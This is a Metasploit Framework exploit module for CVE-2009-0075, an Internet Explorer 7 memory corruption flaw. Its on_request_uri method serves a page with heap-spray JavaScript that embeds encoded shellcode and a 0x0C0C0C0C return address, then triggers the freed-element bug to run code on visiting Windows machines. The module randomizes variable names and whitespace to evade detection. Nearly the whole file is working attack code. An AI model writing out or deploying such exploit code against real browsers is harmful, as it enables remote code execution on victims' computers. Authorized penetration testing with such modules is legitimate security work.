###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0",
		:ua_maxver  => "7.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:vuln_test  => nil, # no way to test without just trying it
	})


	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer 7 Uninitialized Memory Corruption Vulnerability',
			'Description'    => %q{
				This module exploits an error related to the CFunctionPointer function when attempting
				to access uninitialized memory. A remote attacker could exploit this vulnerability to 
				corrupt memory and execute arbitrary code on the system with the privileges of the victim.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'dean [at] zerodaysolutions [dot] com' ], 
			'Version'        => '$Revision: 7724 $',
			'References'     => 
				[
					[ 'CVE', '2009-0075' ],
					[ 'OSVDB', '51839'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ]	
				],
			'DisclosureDate' => 'Feb 17 2008',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Set the return.
		ret     = Rex::Text.to_unescape([target.ret].pack('V'))
		
		# Randomize the javascript variable names.
		rand1   = rand_text_alpha(rand(100) + 1)
		rand2   = rand_text_alpha(rand(100) + 1)
		rand3   = rand_text_alpha(rand(100) + 1)
		rand4   = rand_text_alpha(rand(100) + 1)
		rand5   = rand_text_alpha(rand(100) + 1)
		rand6   = rand_text_alpha(rand(100) + 1)
		rand7   = rand_text_alpha(rand(100) + 1)
		rand8   = rand_text_alpha(rand(100) + 1)
		rand9   = rand_text_alpha(rand(100) + 1)
		rand10  = rand_text_alpha(rand(100) + 1)
		rand11  = rand_text_alpha(rand(100) + 1)
		rand12  = rand_text_alpha(rand(100) + 1)
		rand13  = rand_text_alpha(rand(100) + 1)
		fill    = rand_text_alpha(25)	
		
		content = %Q|
		<html>
			<script language="JavaScript">
				var #{rand1} = unescape("#{shellcode}");
		 		var #{rand2} = new Array();
		 		var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020);
		 		var #{rand4} = unescape("#{ret}");
		 		while(#{rand4}.length<#{rand3}/2)
		 		{#{rand4}+=#{rand4};}
		 		var #{rand5} = #{rand4}.substring(0,#{rand3}/2);
		 		delete #{rand4};
		 		for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++)
		 		{#{rand2}[#{rand6}] = #{rand5} + #{rand1};}
		 		CollectGarbage();
		 		var #{rand7} = unescape("#{ret}"+"#{fill}");
		 		var #{rand8} = new Array();
		 		for(var #{rand9}=0;#{rand9}<1000;#{rand9}++)
				#{rand8}.push(document.createElement("img"));
		 		function #{rand10}() 
				{
				#{rand11} = document.createElement("tbody");
				#{rand11}.click;
				var #{rand12} = #{rand11}.cloneNode();
				#{rand11}.clearAttributes();
				#{rand11}=null;
		 		CollectGarbage();
		 		for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++)
				#{rand8}[#{rand13}].src=#{rand7};
				#{rand12}.click;
				}
				window.setTimeout("#{rand10}();",800);
 			</script>
		</html>
					|

		content = Rex::Text.randomize_space(content)
		
		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
		
		# Handle the payload
		handler(cli)
	end
end
